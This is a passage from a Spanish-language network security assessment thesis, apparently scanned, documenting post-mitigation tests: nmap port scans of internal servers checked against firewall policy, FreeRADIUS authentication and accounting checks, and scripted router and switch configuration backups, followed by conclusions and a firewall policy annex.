Tienda Online TCP: 80 (HTTP), 443 (HTTPS) TCP: 80 (HTTP), 443 (HTTPS)
Correo Institucional TCP: 443 (HTTPS) TCP: 443 (HTTPS), 587
(SUBMISSION), 993 (IMAPS)
LDAP TCP: 137 — 139 (NBT), 389 (LDAP), NA
636 (LDAPS), 445 (SMB)
UDP: 137 — 139 (NBT), 389 (LDAP),
636 (LDAPS)
Almacenamiento TCP: 137 - 139 (NBT), 445 (SMB) NA
Compartido UDP: 137 — 139 (NBT)
ERP TCP: 80 (HTTP) NA

Desarrollo de la Prueba:

Consiste en la validacion de las reglas de firewall para comparar contra la politica de la organizacion.
Para la prueba de la politica de firewall Nmap es la herramienta apropiada para realizar la validacion
técnica de las reglas del firewall.

Prueba a las reglas del firewall en sentido Internet — Servicios Publicos

En la fase de pruebas técnicas (ver Capitulo 4) se determiné que actualmente los puertos visibles hacia
Internet para cada uno de los activos eran aquellos permitidos por la organizacién y no era necesario
hacer ningun cambio. Por lo tanto, no es necesario repetir este escaneo debido a que los resultados serian
los mismos.
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Prueba a las reglas del firewall en sentido Red Interna — Red de Servidores

A continuacion, la repeticion del escaneo TCP a todos los 65535 puertos de cada activo (servidor) desde
la Red Interna hacia la Red de Servidores. El resultado del escaneo TCP con Nmap hacia cada uno de los
servidores a proteger se muestra de forma individual a continuacion.

Servidor DNS (ver Figura 135).

# nmap -sS -sV -p 1-65535 10.0.200.14

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-27 04:11 VET
Nmap scan report for dnsO0l.mydomain.gob.ve (10.0.200.14)

Host is up (0.00078s latency).

Not shown: 65534 filtered ports

PORT STATE SERVICE VERSION

53/tcp open domain ISC BIND hostmaster

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 837.35 seconds

Figura 135. Repeticion de escaneo TCP a servidor DNS

Servidor de Pagina Web Institucional (ver Figura 136).

# nmap -sS -sV -p 1-65535 10.0.200.130

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-27 04:27 VET
Nmap scan report for matrix09.mydomain.gob.ve (10.0.200.130)

Host is up (0.00080s latency).

Not shown: 65534 filtered ports

PORT STATE SERVICE VERSION

80/tcp open ssl/http mydomain.gob.ve

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 2332.93 seconds

Figura 136. Repeticion de escaneo TCP a servidor Web Institucional
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Servidor de Intranet (ver Figura 137).

# nmap -sS -sV -p 1-65535 10.0.200.12

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-27 21:39 VET
Nmap scan report for matrix0l.mydomain.gob.ve (10.0.200.12)

Host is up (0.00059s latency).

Not shown: 65534 filtered ports

PORT STATE SERVICE VERSION

80/tcp open http Apache httpd

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 2309.63 seconds

Figura 137. Repeticion de escaneo TCP a servidor Intranet

Servidor de Tienda Virtual (ver Figura 138).

# nmap -sS -sV -p 1-65535 10.0.200.18

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-27 21:41 VET
Nmap scan report for matrixl2.mydomain.gob.ve (10.0.200.18)

Host is up (0.00084s latency).

Not shown: 65533 filtered ports

PORT STATE SERVICE VERSION

80/tcp open http Apache httpd

443/tcp open ssl/http Apache httpd

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 2324.20 seconds

Figura 138. Repeticion de escaneo TCP a servidor Tienda Virtual

Servidor de Correo Institucional (ver Figura 139).

# nmap -sS -sV -p 1-65535 10.0.200.141

Starting Nmap 6.49BETAS5 ( https://nmap.org ) at 2016-01-31 09:38 VET
Nmap scan report for 10.0.200.141

Host is up (0.00058s latency).

Not shown: 65534 filtered ports

PORT STATE SERVICE VERSION

443/tcp open ssl/http Zimbra http config

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 130.67 seconds

Figura 139. Repeticion de escaneo TCP a servidor Correo Institucional
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Servidor LDAP (ver Figura 140).

# nmap -sS -sV -p 1-65535 10.0.200.4

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-28 01:33 VET
Nmap scan report for conanOl.mydomain.gob.ve (10.0.200.4)

Host is up (0.00082s latency).

Not shown: 65529 filtered ports

PORT STATE SERVICE VERSION

137/tcp closed netbios-ns

138/tcp closed netbios-dgm

139/tcp open netbios-ssn Samba smbd 3.X (workgroup: VE)
389/tcp open ldap OpenLDAP 2.2.X - 2.3.X
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: VE)
636/tcp open ssl/ldap OpenlDAP 2.2.X - 2.3.X

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 1259.75 seconds

Figura 140. Repeticion de escaneo TCP a servidor LDAP

Servidor de Almacenamiento (ver Figura 141).

# nmap -sS -sV -p 1-65535 10.0.200.13

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-28 02:29 VET
Nmap scan report for rockyO03.mydomain.gob.ve (10.0.200.13)

Host is up (0.01ls latency).

Not shown: 65531 filtered ports

PORT STATE SERVICE VERSION

137/tcp closed netbios-ns

138/tcp closed netbios-dgm

139/tcp open netbios-ssn Samba smbd 3.X (workgroup: MYDOMAIN)
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: MYDOMAIN)

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 2329.64 seconds

Figura 141. Repeticion de escaneo TCP a servidor de Almacenamiento
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Servidor ERP (ver Figura 142).

# nmap -sS -sV -p 1-65535 10.0.200.26

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-28 02:29 VET
Nmap scan report for matrix03.mydomain.gob.ve (10.0.200.26)

Host is up (0.00090s latency).

Not shown: 65534 filtered ports

PORT STATE SERVICE VERSION

80/tcp open http Apache httpd 2.2.16 ((Debian))

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 1250.40 seconds

Figura 142. Repeticion de escaneo TCP a servidor ERP

A continuacion, la repeticion del escaneo UDP a los 1000 puertos mas usuales de los servidores desde la
Red Interna hacia la Red de Servidores. Las salidas del comando Nmap se muestran de forma individual
por cada activo de la organizacién a proteger en el contexto del presente proyecto.

Servidor DNS (ver Figura 143).

# nmap -sU -sC -top-ports 1000 10.0.200.14

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-27 04:14 VET
Nmap scan report for dns0l.mydomain.gob.ve (10.0.200.14)

Host is up (0.0041ls latency).

Not shown: 999 open|filtered ports

PORT STATE SERVICE

53/udp open domain

Nmap done: 1 IP address (1 host up) scanned in 168.57 seconds

Figura 143. Repeticion de escaneo UDP a servidor DNS

Servidor de Pagina Web Institucional (ver Figura 144).

# nmap -sU -sC -top-ports 1000 10.0.200.130

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-27 04:20 VET
Nmap scan report for matrix09.mydomain.gob.ve (10.0.200.130)

Host is up (0.0015s latency).

All 1000 scanned ports on matrix09.mydomain.gob.ve (10.0.200.130) are
open|filtered

Nmap done: 1 IP address (1 host up) scanned in 148.15 seconds

Figura 144. Repeticion de escaneo UDP a servidor Web Institucional

176




Servidor de Intranet (ver Figura 145).

# nmap -sU -sC -top-ports 1000 10.0.200.12

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-27 04:25 VET
Nmap scan report for matrix0l.mydomain.gob.ve (10.0.200.12)

Host is up (0.00084s latency).

All 1000 scanned ports on matrix0l.mydomain.gob.ve (10.0.200.12) are
open|filtered

Nmap done: 1 IP address (1 host up) scanned in 176.71 seconds

Figura 145. Repeticion de escaneo UDP a servidor Intranet

Servidor de Tienda Virtual (ver Figura 146).

# nmap -sU -sC —-top-ports 1000 10.0.200.18

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-27 04:30 VET
Nmap scan report for matrixl2.mydomain.gob.ve (10.0.200.18)

Host is up (0.0011ls latency).

All 1000 scanned ports on matrixl2.mydomain.gob.ve (10.0.200.18) are
open|filtered

Nmap done: 1 IP address (1 host up) scanned in 148.29 seconds

Figura 146. Repeticion de escaneo UDP a servidor Tienda Virtual

Servidor de Correo Institucional (ver Figura 147).

# nmap -sU -sC -top-ports 1000 10.0.200.141

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-27 04:36 VET
Nmap scan report for 10.0.200.141

Host is up (0.0021s latency).

All 1000 scanned ports on 10.0.200.141 are open|filtered

Nmap done: 1 IP address (1 host up) scanned in 186.47 seconds

Figura 147. Repeticion de escaneo UDP a servidor Correo Institucional
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Servidor LDAP (ver Figura 148).

# nmap -sU -sC -top-ports 1000 10.0.200.4

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-27 04:42 VET
Nmap scan report for conanOl.mydomain.gob.ve (10.0.200.4)

Host is up (0.0011ls latency).

Not shown: 996 open|filtered ports

PORT STATE SERVICE

137/udp open netbios-ns

139/udp closed netbios-ssn

389/udp closed ldap

445/udp closed microsoft-ds

Host script results:
| nbstat: NetBIOS name: CONANO1l, NetBIOS user: <unknown>, NetBIOS MAC:

<unknown> (unknown)

Nmap done: 1 IP address (1 host up) scanned in 178.74 seconds

Figura 148. Repeticion de escaneo UDP a servidor LDAP

Servidor de Almacenamiento (ver Figura 149).

# nmap -sU -sC -top-ports 1000 10.0.200.13

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-27 04:48 VET
Nmap scan report for rockyO03.mydomain.gob.ve (10.0.200.13)

Host is up (0.00072s latency).

Not shown: 997 open|filtered ports

PORT STATE SERVICE

137/udp open netbios-ns

139/udp closed netbios-ssn

445/udp closed microsoft-ds

Host script results:
| nbstat: NetBIOS name: MYDOMAIN-DATO3, NetBIOS user: <unknown>,
NetBIOS MAC: <unknown> (unknown)

Nmap done: 1 IP address (1 host up) scanned in 180.61 seconds

Figura 149. Repeticion de escaneo UDP a servidor de Almacenamiento
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Servidor ERP (ver Figura 150).

# nmap -sU -sC -top-ports 1000 10.0.200.26

Starting Nmap 6.49BETA4 ( https://nmap.org )
Nmap scan report for matrix03.mydomain.gob.ve
Host is up (0.00085s latency).

All 1000 scanned ports on matrix03.mydomain.gob.ve
open|filtered

at 2016-01-27 04:53 VET
(10.0.200.26)

(10.0.200.26) are

Nmap done: 1 IP address (1 host up) scanned in 157.62 seconds

Figura 150. Repeticion de escaneo UDP a servidor ERP

Al tabular todos los datos recolectados durante los escaneos TCP y UDP se obtiene la Tabla 37 que
compara el resultado del escaneo de puertos desde la Red Interna hacia la Red de Servidores contra la
politica de la organizacion.

Tabla 37. Resultados al repetir el escaneo de puertos TCP y UDP desde la Red Interna

Direccién Servicio Puertos permitidos Puertos abiertos ¢Cumple
IP segun politica detectados con la
(usuarios sin Politica?
privilegios)
10.0.200.14 | DNS TCP: 53 (DNS) TCP: 53 (DNS) Si
UDP: 53 (DNS) UDP: 53 (DNS)
10.0.200.130 | Pagina Web | TCP: 80 (HTTP), 443 | 80 (HTTP) Si
Institucional (HTTPS)
10.0.200.12 | Intranet TCP: 80 (HTTP) TCP: 80 (HTTP) Si
10.0.200.18 | Tienda Online TCP: 80 (HTTP), 443 | TCP: 80 (HTTP), 443 Sl
(HTTPS) (HTTPS)
10.0.200.141 | Correo Institucional | TCP: 443 (HTTPS) TCP: 443 (HTTPS) Si
10.0.200.4 LDAP TCP: 137 — 139 (NBT), | TCP: 139 (NBT), 389 Si
389  (LDAP), 445 | (LDAP), 445 (SMB),
(SMB), 636 (LDAPS) 636 (LDAPS)
UDP: 137 — 139 (NBT), | UDP: 137 (NBT)
389  (LDAP), 636
(LDAPS)
10.0.200.13 | Almacenamiento TCP: 137 - 139 (NBT), | TCP: 139 (NBT), 445 Si
Compartido 445 (SMB) (SMB)
UDP: 137 — 139 (NBT) | UDP: 137 (NBT),
10.0.200.26 | ERP TCP: 80 (HTTP) TCP: 80 (HTTP) Si

Resultado Obtenido: Queda en evidencia, por los datos que se muestran en la Tabla 37, que la accion de
mitigacion aplicada fue efectiva ya que los servicios que se detectaron como visibles desde la Red Interna
hacia la Red de Servidores, para cada uno de los activos de la organizacién, son tnicamente aquellos que
fueron aprobados como necesarios segun la politica.
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5.2 Escenario de Prueba 2: Pruebas a Servidor RADIUS

En este escenario se va a comprobar el funcionamiento del servidor FreeRADIUS implementado en la
fase de mitigacién para comprobar que las configuraciones y permisos otorgados son suficientes para el
correcto funcionamiento del servicio y su comportamiento esperado.

5.1 Probar Autenticacién y Autorizacion (Authentication and Authorization) de Usuario
Permisos de usuario: Esta prueba se ejecuta desde una maquina con permisos al puerto 443 TCP para
visualizar la interfaz web de administracién de un switch. Actualmente, las Unicas maquinas con este
permiso son las de los administradores de red.

Intencion: Se quiere validar si la creacion de usuarios de manera centralizada en el servidor
FreeRADIUS otorga a cada usuario creado los permisos correspondientes segun el nivel de acceso que se
le defina al usuario.

Resultado Esperado: Un usuario creado con permisos de solo lectura deberia poder ver secciones de la
administracion del switch sin que se le permita modificar ningin parametro y un usuario creado con
permisos de administrador deberia poder hacer cualquier configuracion posible en el switch.

Desarrollo de la Prueba:

Lo primero es la creacion de dos usuarios de prueba en el servidor FreeRADIUS lo cual se hace
modificando el archivo /etc/freeradius/users. Para esta prueba se crearon los usuarios
“administrador” y “sololectura” que tienen permisos totales de administrador y de solo lectura
respectivamente (ver Figura 151).

Figura 151. Usuario RADIUS con privilegios maximos y otro con privilegios minimos

Se reinicia el servicio para que los cambios tengan efecto con el siguiente comando:

# service freeradius restart

El siguiente paso es autenticarse con cada usuario en uno de los switches y comprobar los permisos que
tienen el usuario. En la Figura 152 se ve la pantalla de autenticacion para el usuario de méaximo privilegio
creado.
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Web User Login

Uszer Mame administrador |

Password
/ Verify Code WELUR] WEUR
| Login | I
\ J I

Figura 152. Pantalla de autenticacion con el usuario de maximos privilegios

Para verificar los permisos disponibles se prueba con las opciones de administracién de VLAN a los
cuales se accede haciendo click en Network > VLAN del menu principal de administracion del switch.
Las opciones disponibles para administracion de VLANs cuando se hace la autenticaciéon via RADIUS
con este usuario son las que se aprecian en la Figura 153, puede verse que se tiene la opcién de hacer
cualquier configuracion posible incluyendo modificar las VLANS.

|
Create FPort Detail Detail Modify VLAR Modify Port FRemaove

VLARM range display: select an option to view all available VLARS or a subset of configured VLAMNS.
Figura 153. Privilegios cuando el usuario es un administrador

Ahora se procede a la autenticacion via RADIUS del usuario de minimos privilegios creado (ver Figura
154).

Y

h

Web User Login

|UserName sololectura |

Password — seessssssss
’ Verify Code AYRX AYRX
Login J
b

Figura 154. Pantalla de autenticacion con el usuario de minimos privilegios

Al hacer la misma comprobacion de antes pero ahora con este usuario, es decir, dirigirse a Network >
VLAN vy ver las opciones disponibles para administracién de VLANs cuando se autentica con este
usuario de minimos privilegios aparecen las opciones de la Figura 155. Se ve claramente que el conjunto
de opciones disponibles es ahora mas limitado y no aparece ninguna opcion de modificacion.

]
Fort Detail Detail

VLAM range display: select an option to view all available VLARMNS or a subset of configured VLARMNS.

Figura 155. Privilegios cuando el usuario es de solo lectura

Resultado Obtenido: Al autenticase con un usuario creado en el servidor centralizado RADIUS para que
tenga privilegios de administrador en el switch, se tiene acceso a todas las opciones de administracion en
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el mismo. Al autenticar via RADIUS en el swtich con un usuario creado con privilegios minimos en el
servidor, en la interfaz web de administracion del switch solo estdn habilitadas opciones de privilegio
minimo. Los resultados de la prueba son los esperados.

5.2 Probar Registro (Accounting)

Permisos de usuario: Esta prueba se ejecuta desde una maquina con permisos al puerto 443 TCP para
visualizar la interfaz web de administracion de un switch. Actualmente, las Gnicas maquinas con este
permiso son las de los administradores de red.

Intencién: Se quiere validar que el servidor RADIUS esté recogiendo registros de las actividades de
usuarios que se autentican en los switches.

Resultado Esperado: En el servidor FreeRADIUS debe existir un archivo de log que muestre actividades
por cada usuario autenticado en un switch.

Desarrollo de la Prueba:

En primer lugar, colocarse en el directorio donde se guardan los logs de accounting en FreeRADIUS:

# cd /var/log/freeradius/radacct/

Al hacer el comando 1s para ver el contenido vemos que hay un directorio creado por cada NAS (como
se le llama a los clientes RADIUS) que se ha conectado al servidor para autenticar usuarios (ver Figura
156).

Figura 156. Se crea un directorio por cada switch que genera registros

Se quiere consultar la actividad de registro para el switch con direccion IP 10.0.25416 y al ingresar en el
directorio con ese nombre y listar los archivos alli presentes se aprecia que existe un registro individual
por cada dia que se han guardado logs (ver Figura 157).

de
de
e
e

Figura 157. Cada archivos son los registros de un dia particular

Para visualizar los registros del dia 02 de febrero del afio 2016 se ejecuta el siguiente comando:

[# less detail-20160202
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En la Figura 158 se aprecia parte de un registro de accounting en el que, entre otros datos, esta registrado
el nombre de usuario que se autenticd (“sololectura”), el identificador del switch al que se conectd
(“AUYANTEPY-B”), la direccidén IP de la maquina desde la que se hizo la autenticacion (10.0.203.9), la
direccion IP del cliente RADIUS o NAS (10.0.254.16) y la fecha y hora en que se hizo la conexion (2 de
febrero del afio 2016 a las 13:41:05).

Figura 158. Vista de parte del registro guardado sobre una conexion hecha al switch

Resultado Obtenido: Se pudo comprobar mediante la prueba realizada que el servidor FreeRADIUS esta
manteniendo un seguimiento en las actividades de autenticacion hacia los switches de la organizacion,
este es el comportamiento esperado.

5.3 Escenario de Prueba 3: Pruebas a Scripts de Respaldo de Configuraciones
En este escenario de prueba se desea validar los scripts desarrollados durante la fase de mitigacion para
comprobar que, efectivamente, cumplen con su funcién de automatizar la tarea de hacer respaldos de
manera automatizada de los dispositivos de infraestructura de red (router/firewall, switches). Estas
pruebas en particular se ejecutan desde la maquina de uno de los administradores de red ya que son las
Unicas con los permisos necesarios.

5.3.1 Respaldo Automatizado de Configuracion del Router/Firewall

Permisos de Usuario: Esta prueba se ejecuta desde una maquina con permisos de acceso al puerto TCP
443 de la interfaz de administracion del router/firewall. Las Gnicas maquinas que tienen este permiso en
toda la red interna son las que pertenecen al grupo de administradores de red.

Intencién: Se desea comprobar la efectividad del shell script desarrollado durante la fase de mitigacion
de vulnerabilidades para asegurarse de que cumpla la tarea de hacer el respaldo de la configuracién del
dispositivo de borde en forma satisfactoria.

Resultado Esperado: Al ejecutar el script via CLI (0 mediante una tarea programada) el mismo debe
conectarse usando el protocolo HTTPS a la interfaz web de administracion del router/firewall para
descargarse un archivo XML que contiene un respaldo de la configuracion actual del dispositivo.
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Desarrollo de la Prueba:

En primer lugar y desde la maquina que contiene el script se usan los comandos del sistema operativo
para ubicarse en el directorio donde se encuentra el script (ver Figura 159). El archivo tiene como nombre
“auto_backup pfsense.sh”.

t cd shome/lduran/scripts/router-firewall
1 -

I
5[]

auto backup pfsense.sh

Figura 159. Ubicacién del shell script que hace el respaldo automatico

Para ejecutar el script el comando es el siguiente:

| $ ./auto backup pfsense.sh

Al ejecutar el script este muestra en pantalla alguna informacién correspondiente a la ejecucion del
mismo. La Figura 160 muestra la ejecucién del script y puede apreciarse que el archivo que se descarga
tiene por nombre “config-router-20160129103027.xml1” que es el archivo XML que contiene
la configuracion actual del equipo router/firewall.

: t ./auto_backup_pfsense.s
--2016-01-29 10:30:27-- https://1 .200.1/d1ag_backup.phj
“onnecting to 3 .200.1:443. .. connected.
WARNIMG: The certificate of ‘1 .200.17 1s not trusted.
WARMING: The certificate of ‘1 - L200.17 hasn't got a kn

cefl +1T1 ate's ner | es not mat || || sthname 1 L 200,

request sent, awalting response... 200 Of

| aenath: 81 7 (797 [application/octet-stream]
saving to: ‘config-router-201601291 :

config-router

‘config-router

Figura 160. Salida de la ejecucion del script

En la Figura 161 se muestra en el listado de archivos mediante el comando “1s” que el archivo XML
descargado se guarda en el mismo directorio desde el que se ejecutd el shell script.

_ , -r
auto_backup_pfsense.sh |[contig-router-20160129103027.xml

F 0

Figura 161. Archivo de respaldo de configuracion descargado por el script

Comando para ver el contenido del archivo XML:

|$ gedit config-router-20160129103027.xml
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En la Figura 162 se presenta un extracto del archivo XML que contiene la configuracion que se esta
respaldando y fue descargado por el script.

<7xmlL version="1.0"7>
=pfsense=
=version=12.0</version=
<lastchange/>
<theme=pfsense_ng</theme=
=system=
<optimization=normal</cptimization=
<hostname:= useee</hostname=
<domain>ieesls .gob .ve</domain=
=group=
<name=all</name>
<description=><![CDATA[ALLl Users]]=></description=
<scope=systems=/scope=
=gid=1998=/gid=>
</group=
<group=
<name=admins</name=
<description=<![CDATA[System Administrators]]=</description=
<scope=system</scope=
<gid=1999</gid=
<member=0</membe r=
<member=2010</member=
<member=2014</member=
<member=2017</member=
<priv=page-all</priv=
</group=

Figura 162. Vista de parte del archivo XML de configuracion descargado por el script

Resultado Obtenido: EI script se descarga de forma desatendida el archivo de respaldo de la
configuracion actual del router/firewall, este es el comportamiento esperado.

5.3.2 Respaldo Automatizado de Configuracion de los Switches

Permisos de Usuario: Esta prueba se ejecuta desde una maquina con permisos de acceso al puerto TCP
22 (SSH) de la interfaz de administracion de todos los switches de la organizacion. Las Gnicas maquinas
gue tienen este permiso en toda la red interna son las que pertenecen al grupo de administradores de red.

Intencién: Se desea comprobar la efectividad del shell script desarrollado durante la fase de mitigacion
de vulnerabilidades para asegurarse de que cumplan la tarea de hacer el respaldo de la configuracion de
cada uno de los switches de forma satisfactoria.

Resultado Esperado: Al ejecutar el script via CLI (0o mediante una tarea programada) el mismo debe
conectarse usando el protocolo SFTP a la interfaz de administracion de cada uno de los switches para
descargarse un archivo con extension .cfg que contiene un respaldo de la configuracion actual del
dispositivo.

Desarrollo de la Prueba:

En primer lugar hay que colocarse en el directorio donde se encuentra el archivo con extension “.py”
gue contiene el script desarrollado. Esto se muestra en la Figura 163, el archivo tiene por nombre
“auto_backup switches.py”. El otro archivo relevante para este script es “input.xml” que es
una estructura XML que contiene el nombre y direccion IP asociada a cada switch que se quiere
respaldar.
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suto backup switches.| 1nput.xml

| fhomey/Llduran/scripts/switches

E oL

5[]

Figura 163. Archivo de script junto con el archivo de entrada XML

Para ejecutar el script el comando es el siguiente:

|$ python auto backup switches.py

Durante la ejecucidn del script el mismo muestra una cantidad de informacion en pantalla que indican que
esta realizando la tarea de establecer conexion hacia cada uno de los switches cuyas direcciones IP recibe
como entrada en un archivo XML. En la Figura 164 se muestra el mensaje de finalizacion del script en el
gue indica la cantidad de elementos que fueron procesados de los contenidos en el archivo de entrada

“input.xml”.

--- ¥OPWPE®.254.57 ping statistics ---
1 packets transmitted, 1 received, ©
rtt mn/avg/max/mdev = 1.394/1.394

1 noone nl
1 noone nl
1 noone nl
1 noone nl

i3, 254, 58

W];

W];

W];

W];
.254.58) 56(84) |

m ] . 254.58: i-m|_'—|¥1 tt1=254 time=1.58 ms

.254.58 ping statistics ---

s transmitted,

1 (
1.5

packet loss, time Oms

Figura 164. Parte de la salida del script que hace respaldo de configuracion de los switches

En la Figura 165 se muestra parte de la salida cuando se ejecuta el comando “1s” para mostrar una lista
de todos los archivos en el directorio actual. Se observa que hay varios archivos con extension “.cfg”
que son los archivos de configuraciéon descargados de cada switch via la ejecucién del script. De esta
manera y en cuestiébn de segundos se han respaldado las configuraciones de 52 switches de la

organizacion.
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Figura 165: Salida del comando 1s que muestra los archivos descargados por el script

En la Figura 166 se muestra un extracto de uno de los archivos descargados por el script con informacion
de configuracién del switch.

#version 5.20, Release 1513P89
#Sysname AUYANTEPUY -B

#clock timezone Caracas minus 04:30:00
#ftp server enable

#domain default enable igvsb

#ip ttl-expires enable

undo ip http enable
#

password-recovery enable
#
acl number 2001

rule 0 permit source WewGwiewm® 0.0.0.53

rule 5 permit source MNITEEESOWRENEE (.0.0.255
rule 10 permit source HEESENEIENE (.0.0.255
#

Figura 166. Parte de uno de los archivos de extension .cfg descargados por el script

Resultado Obtenido: El script al ser ejecutado desde CLI descargo 52 archivos de configuracion
correspondiente a igual nimero de switches de la organizacion lo cual es el comportamiento esperado.
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Conclusiones y Trabajos Futuros

La evaluacidon continua de la seguridad de una red de datos es una tarea que se ha vuelto fundamental para
mantener bien protegida la informacion que por alli viaja, previniendo asi, posibles pérdidas de datos
como resultado de algin ataque malicioso dirigido a una organizacion. Cualquier activo tecnoldgico que
esté conectado en red puede ser una victima potencial.

Existen metodologias y mejores practicas que ayudan al equipo TIC de cualquier organizacion a evaluar y
mejorar su postura actual en seguridad mediante la aplicacién de un proceso bien definido y repetible. Es
importante mencionar que los resultados de una evaluacién corresponden a un momento particular en el
tiempo, no significa que en el futuro las vulnerabilidades corregidas no puedan volver a aparecer o evitard
gue aparezcan otras nuevas. Por lo antes expuesto, es necesario establecer una politica de evaluacion de la
seguridad de forma regular.

Usar una metodologia con pasos bien definidos como los de NIST SP 800-115 ayuda a llevar un proceso
bien estructurado que arroje resultados que, bajo las mismas condiciones, deben ser iguales y eso
garantiza que el proceso pueda ser verificado por terceros. El problema con estas metodologias es que son
genéricas y requieren, necesariamente, que el analista que la aplique inevitablemente tenga que ajustarla
para cumplir con los objetivos de la organizacion. La metodologia tampoco sefiala cuales son las
herramientas técnicas a utilizar ni el como usarlas, esto es algo que corre de parte del analista de
seguridad y de su formacidn y criterio profesional.

Un control de seguridad es una accidn especifica que se implementa con el fin de aumentar el nivel de
seguridad de un activo. Estos controles, en su forma mas basica, pueden clasificarse como Controles
Administrativos, Controles Fisicos y Controles Técnicos. Una evaluacion de la seguridad informatica
basicamente consiste en medir la efectividad de estos controles, proponer nuevos controles o mejorar los
existentes.

El trabajo realizado cumpli6 satisfactoriamente con el objetivo planteado al inicio, el cual era, evaluar la
situacion actual en seguridad informatica de la red de datos de la institucion usando una metodologia y
aplicar correctivos a las debilidades encontradas durante la ejecucion de la misma. Para cumplir con el
objetivo se hicieron, en términos generales, las siguientes tareas especificas:

e Se identifico que el uso de checklists de mejores préacticas, el escaner de puertos Nmap y las
herramientas hacking de la distribucién Kali Linux eran las mas adecuadas para ejecutar la
prueba.

e Se hizo una adaptacion de la metodologia de evaluacion de la seguridad NIST SP 800-115 para
poner a prueba los controles de seguridad implementados actualmente en la infraestructura de red
de la institucion. La mayor parte de las pruebas consistieron en inspeccién de configuraciones y
ejecucion de pruebas técnicas para validar la efectividad de controles de seguridad.

e Se generaron recomendaciones de seguridad a la institucion con el fin de mitigar las
vulnerabilidades encontradas durante la evaluacion.

e Se implementaron soluciones que mitigaron las debilidades de seguridad detectadas siempre que
fue posible y se cont6 con los recursos para hacerlo.
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Como parte de las tareas de mitigacion de las vulnerabilidades detectadas se realizd la configuracion de
los dispositivos de red siguiendo las mejores practicas de seguridad de la industria, se implementd un
esquema AAA mediante un servidor FreeRADIUS vy se desarrollaron scripts que automatizan el proceso
de hacer respaldos de las configuraciones de los dispositivos de red (router/firewall, switches) para asi
prevenir que un operador humano deje de hacerlos por alguna razén.

Limitaciones

Entre las limitaciones que se hallaron durante el desarrollo de este trabajo se encuentran:

e Hay un solo switch core en la organizacion, esto representa un punto Unico de falla ya que al
presentarse un problema en este dispositivo que perturbe su funcionamiento, se ve afectada toda
la red y no se garantiza la disponibilidad del servicio para los usuarios autorizados. Esta debilidad
no se pudo corregir ya que no se conto con los recursos para hacerlo.

e Similar al punto anterior, en la organizacién hay un solo dispositivo router/firewall que es otro
punto Unico de falla en un dispositivo que al presentar problemas dejaria también sin conexién de
red a toda la organizacion por el tiempo que dure la incidencia. Esto no se pudo corregir ya que
no se contd con los recursos para hacerlo.

e Se determind durante la evaluacion de seguridad que representa un riesgo el hecho de mantener
en un mismo segmento de red tanto los servidores de uso solo interno como aquellos que son
accesibles desde Internet. Por razones de que se esta diseflando un nuevo centro de datos para
migrar parte de la plataforma, esta separacion se esa haciendo en el nuevo disefio y se decidio
mantener el actual sin modificaciones en este sentido.

Trabajos futuros

Como trabajos futuros relacionados con este mismo tema se propone:

e Hacer una evaluacion de la seguridad informatica de los servidores actualmente implementados
en la organizacion. En este trabajo se consider6 solo la seguridad perimetral y los dispositivos de
red, no se tomo en cuenta aspectos relacionados con la seguridad del sistema operativo de los
servidores y las aplicaciones que aloja lo cual es un trabajo con consideraciones distintas.

e Hacer una evaluacién de la seguridad informéatica en los equipos finales de usuario. Esto
contempla hacer una revision de las politicas de antivirus y tratamiento de malware asi como la
eleccién de contrasefias de los usuarios y la concientizacion de los mismos en materia de
seguridad al ser el eslab6n mas débil de todo programa de seguridad.

Recomendaciones finales

Con el fin de mantener siempre un paso adelante con respecto a posibles atacantes y debido al dinamismo
constante de la industria de la seguridad se sugiere a la organizacion:

e Implementar un IDS/IPS de red a fin de mantener un monitoreo constante del trafico y poder
detectar y ser notificado de cualquier actividad inusual.
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Formacidén de un equipo interno de seguridad al que debe entrenarse de manera regular para que
estén al tanto de las Ultimas investigaciones en materia de seguridad ya que es un sector que
evoluciona a un ritmo muy rapido y es necesario que los analistas de seguridad sean capaces de
mantener el mismo ritmo de crecimiento para que su trabajo se efectivo.
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Anexos

A. Politica de Firewall — Red Interna
En este apartado se muestra la politica de acceso perimetral, es decir, las reglas que debe implementar el
firewall de la organizacidn para proteger los servidores de uso interno.

1. Descripcion General

Servidores inseguros y vulnerables siguen siendo un importante punto de entrada para los actores
maliciosos. Tener politicas de firewall consistentes son un inicio para proteger los activos mas
importantes.

2. Proposito

El prop6sito de esta politica es establecer normas para la configuracion basica de los accesos permitidos
por el firewall a los servidores internos que son propiedad y/o son operados por la organizacion. La
aplicacion efectiva de esta politica minimizara el acceso no autorizado a la informacion y tecnologia
propia de la organizacion.

3. Alcance

Todos los empleados y visitantes de la organizacion y sus sucursales deben adherirse a esta politica. Esta
politica aplica a equipamiento de servidores que pertenece, es operado o arrendado por la organizacion o
que este registrado bajo un dominio de red interno perteneciente a la organizacion.

4. Politica
4.1 Requerimientos Generales

